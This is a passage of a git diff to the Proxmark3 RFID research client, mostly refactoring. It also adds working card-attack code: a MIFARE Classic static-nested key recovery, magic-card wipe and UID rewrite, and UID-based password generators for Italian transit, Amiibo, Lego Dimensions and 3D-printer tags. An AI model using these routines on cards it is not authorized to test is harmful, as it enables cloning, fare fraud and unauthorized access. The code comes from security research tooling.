== 0) { + float bruteforce_per_second = (float)i + max_keys_chunk / (float)(msclock() - start_time) * 1000.0; + PrintAndLogEx(INFO, "Chunk %6u/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt, bruteforce_per_second, (keycnt-i) / bruteforce_per_second); +// } + } + + p_keyblock = NULL; + free(mem); + +out: + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c", + package->block, + package->keytype ? 'B' : 'A' + ); + + free(statelists[0].head.slhead); + return PM3_ESOFT; +} + // MIFARE int mfReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data) { @@ -615,6 +858,50 @@ int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, uint8_ return mfCSetBlock(0, block0, oldUID, params); } +int mfCWipe(uint8_t *uid, uint8_t *atqa, uint8_t *sak) { + uint8_t block0[16] = {0x01, 0x02, 0x03, 0x04, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBE, 0xAF}; + uint8_t blockD[16] = {0x00}; + uint8_t blockK[16] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x08, 0x77, 0x8F, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + uint8_t params = MAGIC_SINGLE; + + if (uid != NULL) { + memcpy(block0, uid, 4); + block0[4] = block0[0] ^ block0[1] ^ block0[2] ^ block0[3]; + } + if (sak != NULL) + block0[5] = sak[0]; + + if (atqa != NULL) { + block0[6] = atqa[1]; + block0[7] = atqa[0]; + } + int res; + for (int blockNo = 0; blockNo < 4 * 16; blockNo++) { + for (int retry = 0; retry < 3; retry++) { + if (blockNo == 0) { + res = mfCSetBlock(blockNo, block0, NULL, params); + } else { + if (mfIsSectorTrailer(blockNo)) + res = mfCSetBlock(blockNo, blockK, NULL, params); + else + res = mfCSetBlock(blockNo, blockD, NULL, params); + } + + if (res == PM3_SUCCESS) + break; + PrintAndLogEx(WARNING, "Retry block[%d]...", blockNo); + } + + if (res) { + PrintAndLogEx(ERR, "Error setting block[%d]: %d", blockNo, res); + return res; + } + } + DropField(); + + return PM3_SUCCESS; +} + int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params) { clearCommandBuffer(); @@ -1086,6 +1373,34 @@ int detect_classic_nackbug(bool verbose) { } return PM3_SUCCESS; } + +/* Detect Mifare Classic Static / Fixed nonce +detects special magic cards that has a static / fixed nonce +returns: +0 = has normal nonce +1 = has static/fixed nonce +2 = cmd failed +*/ +int detect_classic_static_nonce(void) { + + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_STATIC_NONCE, NULL, 0); + PacketResponseNG resp; + + if (WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_NONCE, &resp, 500)) { + + if (resp.status == PM3_ESOFT) + return 2; + + if (resp.data.asBytes[0] == 0) + return 0; + + if (resp.data.asBytes[0] != 0) + return 1; + } + return 2; +} + /* try to see if card responses to "chinese magic backdoor" commands. */ void detect_classic_magic(void) { diff --git a/client/mifare/mifarehost.h b/client/mifare/mifarehost.h index 11bd3f29c..6f179c573 100644 --- a/client/mifare/mifarehost.h +++ b/client/mifare/mifarehost.h @@ -39,7 +39,7 @@ typedef struct { uint32_t uid; uint32_t blockNo; uint32_t keyType; - uint32_t nt; + uint32_t nt_enc; uint32_t ks1; } StateList_t; @@ -61,9 +61,13 @@ extern char logHexFileName[FILE_PATH_SIZE]; int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key); int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate); +int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey); int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory); + +int mfCheckKeys_file(uint8_t *destfn, uint64_t *key); + int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey); int mfReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data); @@ -73,6 +77,7 @@ int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, uint8_t wipecard); +int mfCWipe(uint8_t *uid, uint8_t *atqa, uint8_t *sak); int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params); int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params); @@ -89,5 +94,6 @@ int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int detect_classic_prng(void); int detect_classic_nackbug(bool verbose); void detect_classic_magic(void); +int detect_classic_static_nonce(void); void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool isEncrypted); #endif diff --git a/client/proxgui.h b/client/proxgui.h index c4adbeb01..8e0868b12 100644 --- a/client/proxgui.h +++ b/client/proxgui.h @@ -18,6 +18,7 @@ extern "C" { #include #include #include +//#include "comms.h" void ShowGraphWindow(void); void HideGraphWindow(void); @@ -55,6 +56,12 @@ extern size_t g_DemodStartIdx; extern bool showDemod; extern uint8_t g_debugMode; + +#ifndef FILE_PATH_SIZE +#define FILE_PATH_SIZE 1000 +#endif +extern uint8_t gui_serial_port_name[FILE_PATH_SIZE]; + #ifdef __cplusplus } #endif diff --git a/client/proxguiqt.cpp b/client/proxguiqt.cpp index 6bf99f5a1..a481f31d2 100644 --- a/client/proxguiqt.cpp +++ b/client/proxguiqt.cpp @@ -197,11 +197,22 @@ ProxWidget::ProxWidget(QWidget *parent, ProxGuiQT *master) : QWidget(parent) { QVBoxLayout *layout = new QVBoxLayout; layout->addWidget(plot); setLayout(layout); - show(); // places the window on the screen. + + // plot window title + QString pt = QString("[*]Plot [ %1 ]").arg((char*)gui_serial_port_name); + setWindowTitle(pt); + + // shows plot window on the screen. + show(); // Move controller widget below plot controlWidget->move(x(), y() + frameSize().height()); controlWidget->resize(size().width(), 200); + + // Olverlays / slider window title + QString ct = QString("[*]Slider [ %1 ]").arg((char*)gui_serial_port_name); + controlWidget->setWindowTitle(ct); + controlWidget->show(); } diff --git a/client/proxmark3.c b/client/proxmark3.c index bb291ee6c..d582bafc0 100644 --- a/client/proxmark3.c +++ b/client/proxmark3.c @@ -10,9 +10,10 @@ //----------------------------------------------------------------------------- #include "proxmark3.h" -#include -#include // for Mingw readline + #include +#include // for Mingw readline +#include #include #include #include @@ -27,32 +28,30 @@ #include "fileutils.h" #include "flash.h" - static void showBanner(void) { g_printAndLog = PRINTANDLOG_PRINT; PrintAndLogEx(NORMAL, "\n"); #if defined(__linux__) || (__APPLE__) || (_WIN32) - PrintAndLogEx(NORMAL, _BLUE_("██████╗ ███╗ ███╗ ████╗ ") " ...iceman fork"); - PrintAndLogEx(NORMAL, _BLUE_("██╔══██╗████╗ ████║ ══█║") " ...dedicated to " _BLUE_("RDV40")); - PrintAndLogEx(NORMAL, _BLUE_("██████╔╝██╔████╔██║ ████╔╝")); - PrintAndLogEx(NORMAL, _BLUE_("██╔═══╝ ██║╚██╔╝██║ ══█║") " iceman@icesql.net"); - PrintAndLogEx(NORMAL, _BLUE_("██║ ██║ ╚═╝ ██║ ████╔╝") " https://github.com/rfidresearchgroup/proxmark3/"); - PrintAndLogEx(NORMAL, _BLUE_("╚═╝ ╚═╝ ╚═╝ ╚═══╝ ") "pre-release v4.0"); + PrintAndLogEx(NORMAL, " " _BLUE_("██████╗ ███╗ ███╗ ████╗ ")); + PrintAndLogEx(NORMAL, " " _BLUE_("██╔══██╗████╗ ████║ ══█║")); + PrintAndLogEx(NORMAL, " " _BLUE_("██████╔╝██╔████╔██║ ████╔╝")); + PrintAndLogEx(NORMAL, " " _BLUE_("██╔═══╝ ██║╚██╔╝██║ ══█║") " iceman@icesql.net"); + PrintAndLogEx(NORMAL, " " _BLUE_("██║ ██║ ╚═╝ ██║ ████╔╝") " https://github.com/rfidresearchgroup/proxmark3/"); + PrintAndLogEx(NORMAL, " " _BLUE_("╚═╝ ╚═╝ ╚═╝ ╚═══╝ ") "pre-release v4.0"); #else - PrintAndLogEx(NORMAL, "======. ===. ===. ====. ...iceman fork"); - PrintAndLogEx(NORMAL, "==...==.====. ====. ..=. ...dedicated to RDV40"); - PrintAndLogEx(NORMAL, "======..==.====.==. ====.."); - PrintAndLogEx(NORMAL, "==..... ==..==..==. ..=. iceman@icesql.net"); - PrintAndLogEx(NORMAL, "==. ==. ... ==. ====.. https://github.com/rfidresearchgroup/proxmark3/"); - PrintAndLogEx(NORMAL, "... ... ... ..... pre-release v4.0"); + PrintAndLogEx(NORMAL, " ======. ===. ===. ====."); + PrintAndLogEx(NORMAL, " ==...==.====. ====. ..=."); + PrintAndLogEx(NORMAL, " ======..==.====.==. ====.."); + PrintAndLogEx(NORMAL, " ==..... ==..==..==. ..=. iceman@icesql.net"); + PrintAndLogEx(NORMAL, " ==. ==. ... ==. ====.. https://github.com/rfidresearchgroup/proxmark3/"); + PrintAndLogEx(NORMAL, " ... ... ... ..... pre-release v4.0"); #endif - PrintAndLogEx(NORMAL, "\nSupport iceman on patreon - https://www.patreon.com/iceman1001/"); - PrintAndLogEx(NORMAL, " on paypal - https://www.paypal.me/iceman1001"); +// PrintAndLogEx(NORMAL, "\nSupport iceman on patreon - https://www.patreon.com/iceman1001/"); +// PrintAndLogEx(NORMAL, " on paypal - https://www.paypal.me/iceman1001"); // printf("\nMonero: 43mNJLpgBVaTvyZmX9ajcohpvVkaRy1kbZPm8tqAb7itZgfuYecgkRF36rXrKFUkwEGeZedPsASRxgv4HPBHvJwyJdyvQuP"); - PrintAndLogEx(NORMAL, "\n"); + PrintAndLogEx(NORMAL, ""); fflush(stdout); - g_printAndLog = PRINTANDLOG_PRINT | PRINTANDLOG_LOG; } @@ -151,7 +150,7 @@ main_loop(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) { // loops every time enter is pressed... while (1) { bool printprompt = false; - const char *prompt = PROXPROMPT; + const char *prompt = PROXPROMPT_CON; check_script: // If there is a script file @@ -170,18 +169,24 @@ check_script: // remove linebreaks strcleanrn(script_cmd_buf, sizeof(script_cmd_buf)); - if ((cmd = strmcopy(script_cmd_buf)) != NULL) + cmd = str_dup(script_cmd_buf); + if (cmd != NULL) printprompt = true; } } else { // If there is a script command if (execCommand) { - if ((cmd = strmcopy(script_cmd)) != NULL) + + cmd = str_dup(script_cmd); + if (cmd != NULL) printprompt = true; + uint16_t len = strlen(script_cmd) + 1; script_cmd += len; + if (script_cmd_len == len - 1) execCommand = false; + script_cmd_len -= len; } else { // exit after exec command @@ -201,7 +206,8 @@ check_script: // remove linebreaks strcleanrn(script_cmd_buf, sizeof(script_cmd_buf)); - if ((cmd = strmcopy(script_cmd_buf)) != NULL) + cmd = str_dup(script_cmd_buf); + if (cmd != NULL) printprompt = true; } else { @@ -211,8 +217,9 @@ check_script: prompt = PROXPROMPT_USB; else prompt = PROXPROMPT_FPC; - } else + } else { prompt = PROXPROMPT_OFFLINE; + } cmd = readline(prompt); fflush(NULL); } @@ -229,15 +236,20 @@ check_script: } // ltrim size_t off = 0; - while ((cmd[off] != '\0') && isspace(cmd[off])) + while ((cmd[off] != '\0') && isspace(cmd[off])) { off++; - for (size_t i = 0; i < strlen(cmd) - off; i++) + } + + for (size_t i = 0; i < strlen(cmd) - off; i++) { cmd[i] = cmd[i + off]; + } + cmd[strlen(cmd) - off] = '\0'; if (cmd[0] != '\0') { - if (!printprompt) + if (!printprompt) { g_printAndLog = PRINTANDLOG_LOG; + } PrintAndLogEx(NORMAL, "%s%s", prompt, cmd); g_printAndLog = PRINTANDLOG_PRINT | PRINTANDLOG_LOG; @@ -245,8 +257,9 @@ check_script: if (!current_cmdscriptfile()) { HIST_ENTRY *entry = history_get(history_length); // add if not identical to latest recorded cmd - if ((!entry) || (strcmp(entry->line, cmd) != 0)) + if ((!entry) || (strcmp(entry->line, cmd) != 0)) { add_history(cmd); + } } // process cmd int ret = CommandReceived(cmd); @@ -278,6 +291,7 @@ check_script: write_history(my_history_path); free(my_history_path); } + if (cmd) { free(cmd); cmd = NULL; @@ -755,10 +769,6 @@ int main(int argc, char *argv[]) { if (session.stdinOnTTY && session.stdoutOnTTY) session.supports_colors = true; #endif - // ascii art only in interactive client - if (!script_cmds_file && !script_cmd && session.stdinOnTTY && session.stdoutOnTTY && !flash_mode) - showBanner(); - // Let's take a baudrate ok for real UART, USB-CDC & BT don't use that info anyway if (speed == 0) speed = USART_BAUD_RATE; @@ -807,7 +817,11 @@ int main(int argc, char *argv[]) { exit(EXIT_FAILURE); if (!session.pm3_present) - PrintAndLogEx(INFO, "Running in " _YELLOW_("OFFLINE") "mode. Check \"%s -h\" if it's not what you want.\n", exec_name); + PrintAndLogEx(INFO, "Running in " _YELLOW_("OFFLINE") "mode. Check " _YELLOW_("\"%s -h\"") " if it's not what you want.\n", exec_name); + + // ascii art only in interactive client + if (!script_cmds_file && !script_cmd && session.stdinOnTTY && session.stdoutOnTTY && !flash_mode) + showBanner(); #ifdef HAVE_GUI diff --git a/client/proxmark3.h b/client/proxmark3.h index 9313e4c28..d3e3629ec 100644 --- a/client/proxmark3.h +++ b/client/proxmark3.h @@ -14,7 +14,7 @@ #include "common.h" -#define PROXPROMPT "pm3 --> " +#define PROXPROMPT_CON "[con] pm3 --> " #define PROXPROMPT_USB "[usb] pm3 --> " #define PROXPROMPT_FPC "[fpc] pm3 --> " #define PROXPROMPT_OFFLINE "[offline] pm3 --> " diff --git a/client/scripting.c b/client/scripting.c index 45451b241..7ba38ee8b 100644 --- a/client/scripting.c +++ b/client/scripting.c @@ -303,7 +303,6 @@ static int l_GetFromFlashMem(lua_State *L) { } } - /** * @brief The following params expected: * uint8_t *destfilename @@ -312,51 +311,51 @@ static int l_GetFromFlashMem(lua_State *L) { */ static int l_GetFromFlashMemSpiffs(lua_State *L) { - if (IfPm3Flash()) { - uint32_t start_index = 0, len = 0x40000; //FLASH_MEM_MAX_SIZE - char destfilename[32] = {0}; - size_t size; - - int n = lua_gettop(L); - if (n == 0) - return returnToLuaWithError(L, "You need to supply the destination filename"); - - if (n >= 1) { - const char *p_filename = luaL_checklstring(L, 1, &size); - if (size != 0) - memcpy(destfilename, p_filename, 31); - } - - if (destfilename[0] == '\0') - return returnToLuaWithError(L, "Filename missing or invalid"); - - // get size from spiffs itself ! - SendCommandMIX(CMD_SPIFFS_STAT, 0, 0, 0, (uint8_t *)destfilename, 32); - PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) - return returnToLuaWithError(L, "No response from the device"); - - len = resp.oldarg[0]; - - if (len <= 0) - return returnToLuaWithError(L, "Filename invalid or empty"); - - uint8_t *data = calloc(len, sizeof(uint8_t)); - if (!data) - return returnToLuaWithError(L, "Allocating memory failed"); - - if (!GetFromDevice(SPIFFS, data, len, start_index, (uint8_t *)destfilename, 32, NULL, -1, true)) { - free(data); - return returnToLuaWithError(L, "ERROR; downloading from spiffs(flashmemory)"); - } - - lua_pushlstring(L, (const char *)data, len); - lua_pushunsigned(L, len); - free(data); - return 2; - } else { + if (IfPm3Flash() == false) { return returnToLuaWithError(L, "No FLASH MEM support"); } + + uint32_t start_index = 0, len = 0x40000; //FLASH_MEM_MAX_SIZE + char destfilename[32] = {0}; + size_t size; + + int n = lua_gettop(L); + if (n == 0) + return returnToLuaWithError(L, "You need to supply the destination filename"); + + if (n >= 1) { + const char *p_filename = luaL_checklstring(L, 1, &size); + if (size != 0) + memcpy(destfilename, p_filename, 31); + } + + if (destfilename[0] == '\0') + return returnToLuaWithError(L, "Filename missing or invalid"); + + // get size from spiffs itself ! + SendCommandMIX(CMD_SPIFFS_STAT, 0, 0, 0, (uint8_t *)destfilename, 32); + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) + return returnToLuaWithError(L, "No response from the device"); + + len = resp.oldarg[0]; + + if (len == 0) + return returnToLuaWithError(L, "Filename invalid or empty"); + + uint8_t *data = calloc(len, sizeof(uint8_t)); + if (!data) + return returnToLuaWithError(L, "Allocating memory failed"); + + if (!GetFromDevice(SPIFFS, data, len, start_index, (uint8_t *)destfilename, 32, NULL, -1, true)) { + free(data); + return returnToLuaWithError(L, "ERROR; downloading from spiffs(flashmemory)"); + } + + lua_pushlstring(L, (const char *)data, len); + lua_pushunsigned(L, len); + free(data); + return 2; } /** diff --git a/client/ui.c b/client/ui.c index 0cd2c589a..215bd66bc 100644 --- a/client/ui.c +++ b/client/ui.c @@ -240,7 +240,13 @@ static void fPrintAndLog(FILE *stream, const char *fmt, ...) { fprintf(stderr, "[-] Can't open logfile %s, logging disabled!\n", my_logfile_path); logging = 0; } else { - printf("[=] Session log %s\n", my_logfile_path); + + if (session.supports_colors) { + printf(_YELLOW_("[=]") "Session log " _YELLOW_("%s") "\n", my_logfile_path); + } else { + printf("[=] Session log %s\n", my_logfile_path); + } + } free(my_logfile_path); } diff --git a/client/ui/overlays.ui b/client/ui/overlays.ui index 7cc9043e7..a262e5b93 100644 --- a/client/ui/overlays.ui +++ b/client/ui/overlays.ui @@ -11,7 +11,7 @@ - Overlays + Sliders diff --git a/client/util.c b/client/util.c index 58dce8eca..226255536 100644 --- a/client/util.c +++ b/client/util.c @@ -394,6 +394,46 @@ void print_blocks(uint32_t *data, size_t len) { } } +int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValueLen) { + char buf[4] = {0}; + int indx = 0; + int bytesValueLen = 0; + while (hexValue[indx]) { + if (hexValue[indx] == '\t' || hexValue[indx] == ' ') { + indx++; + continue; + } + + if (isxdigit(hexValue[indx])) { + buf[strlen(buf)] = hexValue[indx]; + } else { + // if we have symbols other than spaces and hex + return -1; + } + + if (maxBytesValueLen && bytesValueLen >= maxBytesValueLen) { + // if we dont have space in buffer and have symbols to translate + return -2; + } + + if (strlen(buf) >= 2) { + uint32_t temp = 0; + sscanf(buf, "%x", &temp); + bytesValue[bytesValueLen] = (uint8_t)(temp & 0xff); + memset(buf, 0, sizeof(buf)); + bytesValueLen++; + } + + indx++; + } + + if (strlen(buf) > 0) + //error when not completed hex bytes + return -3; + + return bytesValueLen; +} + // takes a number (uint64_t) and creates a binarray in dest. void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest) { while (len--) { @@ -878,13 +918,18 @@ void strcreplace(char *buf, size_t len, char from, char to) { } } -char *strmcopy(const char *buf) { - char *str = (char *) calloc(strlen(buf) + 1, sizeof(uint8_t)); - if (str != NULL) { - memset(str, 0, strlen(buf) + 1); - strcpy(str, buf); + +char *str_dup(const char *src) { + return str_ndup(src, strlen(src)); +} +char *str_ndup(const char *src, size_t len) { + + char *dest = (char *) calloc(len + 1, sizeof(uint8_t)); + if (dest != NULL) { + memcpy(dest, src, len); + dest[len] = '\0'; } - return str; + return dest; } /** diff --git a/client/util.h b/client/util.h index d549458c4..21db9198f 100644 --- a/client/util.h +++ b/client/util.h @@ -55,6 +55,7 @@ char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_st void print_blocks(uint32_t *data, size_t len); +int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValueLen); void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest); void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest); uint8_t *SwapEndian64(const uint8_t *src, const size_t len, const uint8_t blockSize); @@ -98,6 +99,7 @@ bool str_endswith(const char *s, const char *suffix); // check for suffix in void clean_ascii(unsigned char *buf, size_t len); void strcleanrn(char *buf, size_t len); void strcreplace(char *buf, size_t len, char from, char to); -char *strmcopy(const char *buf); +char *str_dup(const char *src); +char *str_ndup(const char *src, size_t len); int hexstring_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const char *str); #endif diff --git a/client/wiegand_formats.c b/client/wiegand_formats.c index a535bc614..0c3c09fb6 100644 --- a/client/wiegand_formats.c +++ b/client/wiegand_formats.c @@ -687,7 +687,7 @@ static void HIDDisplayUnpackedCard(wiegand_card_t *card, const cardformat_t form if (format.Fields.hasParity) snprintf(s + strlen(s), sizeof(s) - strlen(s), " parity: %s", card->ParityValid ? "valid" : "invalid"); - PrintAndLogEx(SUCCESS, "%s [%s - %s]", s, format.Name, format.Descrp); + PrintAndLogEx(SUCCESS, "[%s] - %s; %s", format.Name, format.Descrp, s); } bool HIDTryUnpack(wiegand_message_t *packed, bool ignore_parity) { diff --git a/client/wiegand_formats.h b/client/wiegand_formats.h index b75f5e491..2b9b3df05 100644 --- a/client/wiegand_formats.h +++ b/client/wiegand_formats.h @@ -42,7 +42,7 @@ typedef struct { void HIDListFormats(); int HIDFindCardFormat(const char *format); cardformat_t HIDGetCardFormat(int idx); -bool HIDPack(int FormatIndex, wiegand_card_t *card, wiegand_message_t *packed); +bool HIDPack(int format_idx, wiegand_card_t *card, wiegand_message_t *packed); bool HIDTryUnpack(wiegand_message_t *packed, bool ignore_parity); #endif diff --git a/common/crapto1/crapto1.c b/common/crapto1/crapto1.c index 43e45c3db..e697b68f0 100644 --- a/common/crapto1/crapto1.c +++ b/common/crapto1/crapto1.c @@ -376,6 +376,7 @@ uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) { static uint16_t *dist = 0; int nonce_distance(uint32_t from, uint32_t to) { if (!dist) { + // allocation 2bytes * 0xFFFF times. dist = calloc(2 << 16, sizeof(uint8_t)); if (!dist) return -1; @@ -396,7 +397,8 @@ int nonce_distance(uint32_t from, uint32_t to) { */ bool validate_prng_nonce(uint32_t nonce) { // init prng table: - nonce_distance(nonce, nonce); + if (nonce_distance(nonce, nonce) == -1) + return false; return ((65535 - dist[nonce >> 16] + dist[nonce & 0xffff]) % 65535) == 16; } diff --git a/common/crapto1/crapto1.h b/common/crapto1/crapto1.h index 7fa16539e..b6be544a5 100644 --- a/common/crapto1/crapto1.h +++ b/common/crapto1/crapto1.h @@ -25,7 +25,7 @@ #include struct Crypto1State {uint32_t odd, even;}; -void crypto1_init(struct Crypto1State *s, uint64_t key); +void crypto1_init(struct Crypto1State *state, uint64_t key); void crypto1_deinit(struct Crypto1State *); #if !defined(__arm__) || defined(__linux__) || defined(_WIN32) || defined(__APPLE__) // bare metal ARM Proxmark lacks malloc()/free() struct Crypto1State *crypto1_create(uint64_t key); diff --git a/common/crc.c b/common/crc.c index 0237fb36a..22bfad035 100644 --- a/common/crc.c +++ b/common/crc.c @@ -126,3 +126,11 @@ uint32_t CRC8Legic(uint8_t *buff, size_t size) { crc_update2(&crc, buff[i], 8); return reflect8(crc_finish(&crc)); } +// width=8 poly=0x107, init=0x2C refin=true refout=true xorout=0x0000 check=0 name="CRC-8/CARDX" +uint32_t CRC8Cardx(uint8_t *buff, size_t size) { + crc_t crc; + crc_init_ref(&crc, 8, 0x107, 0x2C, 0, true, true); + for (size_t i = 0; i < size; ++i) + crc_update2(&crc, buff[i], 8); + return crc_finish(&crc); +} diff --git a/common/crc.h b/common/crc.h index 6dcfe918f..772c278b8 100644 --- a/common/crc.h +++ b/common/crc.h @@ -73,4 +73,6 @@ uint32_t CRC4Legic(uint8_t *buff, size_t size); // Calculate CRC-8/Legic checksum uint32_t CRC8Legic(uint8_t *buff, size_t size); +// Calculate CRC-8/Cardx checksum +uint32_t CRC8Cardx(uint8_t *buff, size_t size); #endif /* __CRC_H */ diff --git a/common/generator.c b/common/generator.c new file mode 100644 index 000000000..6dbac2feb --- /dev/null +++ b/common/generator.c @@ -0,0 +1,454 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Generator commands +//----------------------------------------------------------------------------- +#include "generator.h" + +#include +#include +#include +#include +#include +#include +#include "commonutil.h" //BSWAP_16 +#include "common.h" //BSWAP_32/64 +#include "util.h" +#include "pm3_cmd.h" +#include "ui.h" +#include "mbedtls/sha1.h" + +// Implemetation tips: +// For each implementation of the algos, I recommend adding a self test for easy "simple unit" tests when Travic CI / Appveyour runs. +// See special note for MFC based algos. + +//------------------------------------ +// MFU/NTAG PWD/PACK generation stuff +// Italian transport system +// Amiibo +// Lego Dimension +// XYZ 3D printing +// Vinglock +//------------------------------------ +static void transform_D(uint8_t *ru) { + + const uint32_t c_D[] = { + 0x6D835AFC, 0x7D15CD97, 0x0942B409, 0x32F9C923, 0xA811FB02, 0x64F121E8, + 0xD1CC8B4E, 0xE8873E6F, 0x61399BBB, 0xF1B91926, 0xAC661520, 0xA21A31C9, + 0xD424808D, 0xFE118E07, 0xD18E728D, 0xABAC9E17, 0x18066433, 0x00E18E79, + 0x65A77305, 0x5AE9E297, 0x11FC628C, 0x7BB3431F, 0x942A8308, 0xB2F8FD20, + 0x5728B869, 0x30726D5A + }; + + //Transform + uint8_t i; + uint8_t p = 0; + uint32_t v1 = ((ru[3] << 24) | (ru[2] << 16) | (ru[1] << 8) | ru[0]) + c_D[p++]; + uint32_t v2 = ((ru[7] << 24) | (ru[6] << 16) | (ru[5] << 8) | ru[4]) + c_D[p++]; + + for (i = 0; i < 12; i += 2) { + uint32_t xor1 = v1 ^ v2; + uint32_t t1 = ROTL(xor1, v2 & 0x1F) + c_D[p++]; + uint32_t xor2 = v2 ^ t1; + uint32_t t2 = ROTL(xor2, t1 & 0x1F) + c_D[p++]; + uint32_t xor3 = t1 ^ t2; + uint32_t xor4 = t2 ^ v1; + v1 = ROTL(xor3, t2 & 0x1F) + c_D[p++]; + v2 = ROTL(xor4, v1 & 0x1F) + c_D[p++]; + } + + //Re-use ru + ru[0] = v1 & 0xFF; + ru[1] = (v1 >> 8) & 0xFF; + ru[2] = (v1 >> 16) & 0xFF; + ru[3] = (v1 >> 24) & 0xFF; + ru[4] = v2 & 0xFF; + ru[5] = (v2 >> 8) & 0xFF; + ru[6] = (v2 >> 16) & 0xFF; + ru[7] = (v2 >> 24) & 0xFF; +} + +// Transport system (IT) pwd generation algo nickname A. +uint32_t ul_ev1_pwdgenA(uint8_t *uid) { + + uint8_t pos = (uid[3] ^ uid[4] ^ uid[5] ^ uid[6]) % 32; + + uint32_t xortable[] = { + 0x4f2711c1, 0x07D7BB83, 0x9636EF07, 0xB5F4460E, 0xF271141C, 0x7D7BB038, 0x636EF871, 0x5F4468E3, + 0x271149C7, 0xD7BB0B8F, 0x36EF8F1E, 0xF446863D, 0x7114947A, 0x7BB0B0F5, 0x6EF8F9EB, 0x44686BD7, + 0x11494fAF, 0xBB0B075F, 0xEF8F96BE, 0x4686B57C, 0x1494F2F9, 0xB0B07DF3, 0xF8F963E6, 0x686B5FCC, + 0x494F2799, 0x0B07D733, 0x8F963667, 0x86B5F4CE, 0x94F2719C, 0xB07D7B38, 0xF9636E70, 0x6B5F44E0 + }; + + uint8_t entry[] = {0x00, 0x00, 0x00, 0x00}; + uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00}; + + num_to_bytes(xortable[pos], 4, entry); + + pwd[0] = entry[0] ^ uid[1] ^ uid[2] ^ uid[3]; + pwd[1] = entry[1] ^ uid[0] ^ uid[2] ^ uid[4]; + pwd[2] = entry[2] ^ uid[0] ^ uid[1] ^ uid[5]; + pwd[3] = entry[3] ^ uid[6]; + + return (uint32_t)bytes_to_num(pwd, 4); +} + +// Amiibo pwd generation algo nickname B. (very simple) +uint32_t ul_ev1_pwdgenB(uint8_t *uid) { + + uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00}; + + pwd[0] = uid[1] ^ uid[3] ^ 0xAA; + pwd[1] = uid[2] ^ uid[4] ^ 0x55; + pwd[2] = uid[3] ^ uid[5] ^ 0xAA; + pwd[3] = uid[4] ^ uid[6] ^ 0x55; + return (uint32_t)bytes_to_num(pwd, 4); +} + +// Lego Dimension pwd generation algo nickname C. +uint32_t ul_ev1_pwdgenC(uint8_t *uid) { + uint32_t pwd = 0; + uint8_t base[] = { + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x28, + 0x63, 0x29, 0x20, 0x43, 0x6f, 0x70, 0x79, 0x72, + 0x69, 0x67, 0x68, 0x74, 0x20, 0x4c, 0x45, 0x47, + 0x4f, 0x20, 0x32, 0x30, 0x31, 0x34, 0xaa, 0xaa + }; + + memcpy(base, uid, 7); + + for (int i = 0; i < 32; i += 4) { + uint32_t b = *(uint32_t *)(base + i); + pwd = b + ROTR(pwd, 25) + ROTR(pwd, 10) - pwd; + } + return BSWAP_32(pwd); +} + +// XYZ 3d printing pwd generation algo nickname D. +uint32_t ul_ev1_pwdgenD(uint8_t *uid) { + uint8_t i; + uint8_t r = (uid[1] + uid[3] + uid[5]) & 7; // rotation offset + uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; // rotated UID + for (i = 0; i < 7; i++) + ru[(i + r) & 7] = uid[i]; + + transform_D(ru); + + // calc key + uint32_t pwd = 0; + r = (ru[0] + ru[2] + ru[4] + ru[6]) & 3; // offset + for (i = 0; i < 4; i++) + pwd = ru[i + r] + (pwd << 8); + + return BSWAP_32(pwd); +} + +// pack generation for algo 1-3 +uint16_t ul_ev1_packgenA(uint8_t *uid) { + 